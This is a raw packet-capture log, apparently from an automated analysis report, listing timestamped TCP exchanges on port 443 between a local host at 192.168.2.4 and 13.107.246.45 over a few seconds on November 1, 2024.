Nov 1, 2024 05:53:25.206845045 CET	443	49898	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:25.206857920 CET	49898	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:25.206861973 CET	443	49898	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:25.209455967 CET	49903	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:25.209494114 CET	443	49903	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:25.209568977 CET	49903	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:25.209840059 CET	49903	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:25.209855080 CET	443	49903	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:25.506154060 CET	443	49901	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:25.506692886 CET	49901	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:25.506707907 CET	443	49901	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:25.508660078 CET	49901	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:25.508666992 CET	443	49901	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:25.509846926 CET	443	49900	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:25.510155916 CET	49900	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:25.510169983 CET	443	49900	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:25.510731936 CET	49900	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:25.510737896 CET	443	49900	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:25.513406992 CET	443	49899	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:25.513777018 CET	49899	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:25.513803005 CET	443	49899	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:25.514178991 CET	49899	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:25.514188051 CET	443	49899	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:25.638328075 CET	443	49900	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:25.639111042 CET	443	49900	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:25.639214993 CET	49900	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:25.643872976 CET	443	49899	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:25.644151926 CET	443	49899	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:25.644249916 CET	49899	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:25.656374931 CET	49900	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:25.656387091 CET	443	49900	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:25.656395912 CET	49900	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:25.656400919 CET	443	49900	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:25.752880096 CET	49899	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:25.752880096 CET	49899	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:25.752906084 CET	443	49899	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:25.752913952 CET	443	49899	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:25.754548073 CET	443	49902	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:25.787322998 CET	49902	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:25.787337065 CET	443	49902	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:25.791111946 CET	49902	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:25.791115999 CET	443	49902	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:25.809731007 CET	49904	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:25.809776068 CET	443	49904	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:25.809859991 CET	49904	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:25.810024023 CET	49904	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:25.810034990 CET	443	49904	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:25.817321062 CET	49905	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:25.817352057 CET	443	49905	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:25.817441940 CET	49905	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:25.817565918 CET	49905	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:25.817578077 CET	443	49905	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:25.817820072 CET	443	49901	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:25.821109056 CET	443	49901	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:25.821181059 CET	49901	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:25.821428061 CET	49901	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:25.821444035 CET	443	49901	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:25.821456909 CET	49901	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:25.821463108 CET	443	49901	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:25.837658882 CET	49906	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:25.837688923 CET	443	49906	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:25.837788105 CET	49906	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:25.837893009 CET	49906	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:25.837908030 CET	443	49906	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:25.920712948 CET	443	49902	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:25.920742989 CET	443	49902	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:25.920777082 CET	443	49902	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:25.920809031 CET	49902	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:25.920846939 CET	49902	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:25.931077957 CET	49902	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:25.931085110 CET	443	49902	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:25.931098938 CET	49902	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:25.931102037 CET	443	49902	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:25.961895943 CET	49907	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:25.961910963 CET	443	49907	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:25.962225914 CET	49907	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:25.963630915 CET	443	49903	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:25.964982033 CET	49907	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:25.964992046 CET	443	49907	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:25.965298891 CET	49903	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:25.965315104 CET	443	49903	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:25.965796947 CET	49903	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:25.965801001 CET	443	49903	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:26.092701912 CET	443	49903	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:26.092788935 CET	443	49903	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:26.092855930 CET	49903	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:26.107358932 CET	49903	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:26.107394934 CET	443	49903	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:26.107409000 CET	49903	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:26.107414007 CET	443	49903	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:26.166295052 CET	49908	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:26.166340113 CET	443	49908	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:26.166426897 CET	49908	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:26.183177948 CET	49908	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:26.183207035 CET	443	49908	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:26.557894945 CET	443	49904	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:26.558465004 CET	49904	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:26.558486938 CET	443	49904	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:26.558933020 CET	49904	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:26.558940887 CET	443	49904	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:26.571918011 CET	443	49905	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:26.572293997 CET	49905	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:26.572321892 CET	443	49905	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:26.572696924 CET	49905	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:26.572701931 CET	443	49905	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:26.580972910 CET	443	49906	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:26.581309080 CET	49906	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:26.581326008 CET	443	49906	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:26.581700087 CET	49906	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:26.581708908 CET	443	49906	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:26.687369108 CET	443	49904	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:26.687515974 CET	443	49904	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:26.687787056 CET	49904	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:26.687787056 CET	49904	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:26.687787056 CET	49904	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:26.691195965 CET	49909	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:26.691229105 CET	443	49909	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:26.691334963 CET	49909	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:26.691504002 CET	49909	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:26.691514015 CET	443	49909	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:26.691548109 CET	443	49907	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:26.691920042 CET	49907	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:26.691932917 CET	443	49907	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:26.692595959 CET	49907	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:26.692599058 CET	443	49907	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:26.704543114 CET	443	49905	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:26.705193996 CET	443	49905	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:26.705230951 CET	443	49905	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:26.705285072 CET	49905	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:26.705329895 CET	49905	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:26.705365896 CET	49905	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:26.705375910 CET	443	49905	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:26.705404043 CET	49905	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:26.705408096 CET	443	49905	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:26.708820105 CET	49910	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:26.708862066 CET	443	49910	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:26.709166050 CET	49910	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:26.709373951 CET	49910	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:26.709391117 CET	443	49910	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:26.709618092 CET	443	49906	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:26.709703922 CET	443	49906	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:26.709831953 CET	49906	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:26.709903002 CET	49906	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:26.709903002 CET	49906	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:26.709920883 CET	443	49906	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:26.709932089 CET	443	49906	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:26.712549925 CET	49911	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:26.712560892 CET	443	49911	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:26.712637901 CET	49911	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:26.712778091 CET	49911	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:26.712786913 CET	443	49911	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:26.821464062 CET	443	49907	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:26.821527004 CET	443	49907	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:26.821593046 CET	49907	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:26.821858883 CET	49907	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:26.821870089 CET	443	49907	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:26.821882010 CET	49907	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:26.821886063 CET	443	49907	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:26.825129032 CET	49912	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:26.825164080 CET	443	49912	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:26.825355053 CET	49912	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:26.825548887 CET	49912	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:26.825558901 CET	443	49912	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:26.912343025 CET	443	49908	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:26.913121939 CET	49908	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:26.913157940 CET	443	49908	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:26.913618088 CET	49908	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:26.913630962 CET	443	49908	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:27.003232002 CET	49904	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:27.003259897 CET	443	49904	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:27.043889999 CET	443	49908	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:27.043965101 CET	443	49908	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:27.044074059 CET	49908	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:27.044289112 CET	49908	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:27.044289112 CET	49908	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:27.044312000 CET	443	49908	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:27.044322014 CET	443	49908	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:27.047276974 CET	49913	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:27.047328949 CET	443	49913	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:27.047416925 CET	49913	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:27.047609091 CET	49913	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:27.047625065 CET	443	49913	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:27.412277937 CET	443	49909	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:27.412765026 CET	49909	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:27.412803888 CET	443	49909	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:27.413252115 CET	49909	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:27.413258076 CET	443	49909	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:27.429398060 CET	443	49911	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:27.434109926 CET	49911	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:27.434125900 CET	443	49911	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:27.434622049 CET	49911	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:27.434626102 CET	443	49911	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:27.435522079 CET	443	49910	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:27.435921907 CET	49910	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:27.435941935 CET	443	49910	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:27.436187983 CET	49910	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:27.436192989 CET	443	49910	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:27.541593075 CET	443	49909	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:27.541676044 CET	443	49909	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:27.541735888 CET	49909	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:27.542114973 CET	49909	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:27.542133093 CET	443	49909	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:27.542141914 CET	49909	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:27.542146921 CET	443	49909	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:27.545178890 CET	49914	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:27.545222998 CET	443	49914	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:27.545300961 CET	49914	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:27.545459032 CET	49914	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:27.545471907 CET	443	49914	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:27.559849024 CET	443	49911	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:27.559906960 CET	443	49911	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:27.559958935 CET	49911	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:27.560116053 CET	49911	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:27.560123920 CET	443	49911	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:27.563340902 CET	49915	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:27.563383102 CET	443	49915	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:27.563456059 CET	49915	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:27.563673019 CET	49915	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:27.563688993 CET	443	49915	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:27.564121008 CET	443	49910	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:27.564248085 CET	443	49910	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:27.564302921 CET	49910	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:27.564351082 CET	49910	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:27.564351082 CET	49910	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:27.564372063 CET	443	49910	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:27.564379930 CET	443	49910	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:27.565234900 CET	443	49912	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:27.565994978 CET	49912	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:27.566003084 CET	443	49912	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:27.566762924 CET	49912	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:27.566766977 CET	443	49912	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:27.567240953 CET	49916	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:27.567287922 CET	443	49916	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:27.567353964 CET	49916	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:27.567493916 CET	49916	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:27.567511082 CET	443	49916	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:27.699548960 CET	443	49912	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:27.699580908 CET	443	49912	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:27.699625015 CET	443	49912	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:27.699691057 CET	49912	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:27.699718952 CET	49912	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:27.699984074 CET	49912	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:27.700007915 CET	443	49912	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:27.700020075 CET	49912	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:27.700026035 CET	443	49912	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:27.703114986 CET	49917	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:27.703166962 CET	443	49917	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:27.703280926 CET	49917	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:27.703463078 CET	49917	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:27.703475952 CET	443	49917	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:27.791309118 CET	443	49913	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:27.793184996 CET	49913	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:27.793215036 CET	443	49913	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:27.793641090 CET	49913	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:27.793651104 CET	443	49913	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:27.925503016 CET	443	49913	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:27.925592899 CET	443	49913	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:27.925663948 CET	49913	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:27.925889015 CET	49913	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:27.925911903 CET	443	49913	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:27.925921917 CET	49913	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:27.925926924 CET	443	49913	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:27.928926945 CET	49918	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:27.928961039 CET	443	49918	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:27.929049969 CET	49918	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:27.929244041 CET	49918	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:27.929258108 CET	443	49918	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:28.282187939 CET	443	49916	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:28.282754898 CET	49916	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:28.282804966 CET	443	49916	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:28.283207893 CET	49916	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:28.283224106 CET	443	49916	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:28.285422087 CET	443	49914	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:28.285679102 CET	49914	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:28.285698891 CET	443	49914	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:28.285994053 CET	49914	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:28.285999060 CET	443	49914	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:28.289825916 CET	443	49915	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:28.290038109 CET	49915	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:28.290054083 CET	443	49915	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:28.290364981 CET	49915	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:28.290369987 CET	443	49915	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:28.409434080 CET	443	49916	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:28.409451008 CET	443	49916	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:28.409488916 CET	443	49916	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:28.409540892 CET	49916	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:28.409540892 CET	49916	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:28.409787893 CET	49916	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:28.409800053 CET	443	49916	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:28.409811974 CET	49916	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:28.409816980 CET	443	49916	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:28.412273884 CET	49919	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:28.412311077 CET	443	49919	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:28.412379026 CET	49919	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:28.412514925 CET	49919	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:28.412529945 CET	443	49919	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:28.416789055 CET	443	49914	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:28.416851044 CET	443	49914	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:28.416903973 CET	49914	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:28.416996002 CET	49914	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:28.417011023 CET	443	49914	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:28.417020082 CET	49914	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:28.417023897 CET	443	49914	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:28.419011116 CET	49920	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:28.419039011 CET	443	49920	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:28.419133902 CET	49920	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:28.419224977 CET	49920	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:28.419236898 CET	443	49920	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:28.420229912 CET	443	49915	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:28.420303106 CET	443	49915	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:28.420353889 CET	49915	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:28.420413971 CET	49915	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:28.420413971 CET	49915	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:28.420423985 CET	443	49915	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:28.420432091 CET	443	49915	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:28.422168016 CET	49921	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:28.422203064 CET	443	49921	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:28.422269106 CET	49921	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:28.422374010 CET	49921	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:28.422388077 CET	443	49921	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:28.436285973 CET	443	49917	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:28.436664104 CET	49917	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:28.436680079 CET	443	49917	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:28.437089920 CET	49917	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:28.437093973 CET	443	49917	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:28.566447973 CET	443	49917	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:28.566473961 CET	443	49917	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:28.566514015 CET	49917	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:28.566519976 CET	443	49917	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:28.566564083 CET	49917	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:28.569689989 CET	49917	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:28.569696903 CET	443	49917	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:28.569708109 CET	49917	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:28.569711924 CET	443	49917	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:28.650197029 CET	49922	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:28.650234938 CET	443	49922	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:28.650304079 CET	49922	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:28.650664091 CET	49922	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:53:28.650676966 CET	443	49922	13.107.246.45	192.168.2.4
Nov 1, 2024 05:53:28.673249006 CET	443	49918	13.107.246.45	192.168.2.4
